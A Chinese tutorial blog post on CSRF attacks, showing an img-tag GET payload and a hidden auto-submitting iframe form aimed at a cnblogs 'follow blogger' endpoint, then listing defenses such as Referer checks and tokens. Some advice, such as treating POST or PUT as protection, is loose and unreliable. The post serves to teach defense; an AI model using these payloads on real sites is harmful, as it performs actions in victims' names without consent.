您的位置:首页

csrf攻击

2018-03-11 10:57 162 查看
前端界恶意攻击之一--------csrf

例子一:

如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/>
</body>
</html>


在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主

例子二:

如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api

<!--恶意页面主页-->
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
<body>
<iframe src="form1.html" style="display:none"></iframe>
</body>
</html>

<!--iframe-->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
<input type="hidden" name="blogUserGuid" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/>
<input type="submit" value>
</form>
<script>
document.forms.form1.submit();
</script>
</body>
</html>


但是这里在页面嵌套其他域名的iframe只有IE和FireFox是可以的(当然对方的恶意服务器也需要配置X-Frame-Options=ALLOW-FROM uri)

但是如果,恶意页面是直接把form在在当前页还是能够实现csrf的恶意操作的,只不过当前页面会被跳转到post请求的页面,这个就做不到神不知鬼不觉了。

所以总的来说把api的请求改为用post方式是比较安全的

防御措施:

1.用其他请求方式(例如put)代替get、post这两种较为容易跳过同源策略跨域访问的方式

2.检测Referer是否是本站的域名-------最常用的了

3.1 用Token代替Cookie(作为get参数)

4.2 HTTP 头中添加自定义属性传Token,配合ajax的setRequestHeader代替使用get参数
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: